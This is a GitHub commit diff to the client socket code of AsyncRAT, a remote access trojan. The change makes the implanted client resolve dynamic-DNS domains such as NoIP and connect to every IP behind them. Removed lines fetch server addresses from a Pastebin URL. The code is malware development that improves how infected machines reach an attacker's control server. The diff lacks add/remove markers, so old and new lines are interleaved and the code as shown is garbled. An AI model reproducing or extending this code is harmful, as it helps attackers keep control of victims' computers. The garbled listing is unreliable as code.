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DDNS Resolver for Initialise Client

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Client now checks for Alphanumeric strings in connection settings using Regex and treats them as a DNS and attempts to connect to every IP attached to that DNS (Makes DDNS such as NoIP compatible with the Client)
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MrDevBot 2019-05-28 17:17:16 +10:00 committed by GitHub
parent c989b17558
commit 05ad065312
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1 changed files with 21 additions and 14 deletions
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35
AsyncRAT-C#/Client/Sockets/ClientSocket.cs
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@ -44,21 +44,28 @@ namespace Client.Sockets
};
if (Settings.Pastebin == "null")
{
Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
}
else
{
using (WebClient wc = new WebClient())
Regex r = new Regex("^[a-zA-Z0-9]*$");
string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]);
Int16 ServerPort = Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);
if (r.IsMatch(ServerIP)) //check if the address is alphanumric (meaning its a domain)
{
NetworkCredential networkCredential = new NetworkCredential("", "");
wc.Credentials = networkCredential;
string resp = wc.DownloadString(Settings.Pastebin);
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
Settings.Hosts = spl[0];
Settings.Ports = spl[new Random().Next(1, spl.Length)];
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain
foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's
{
Client.Connect(theaddress, ServerPort); //lets try and connect!
}
}
else
{
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
}
//Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
// Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
}
if (Client.Connected)
{
@ -199,4 +206,4 @@ namespace Client.Sockets
}
}
}
}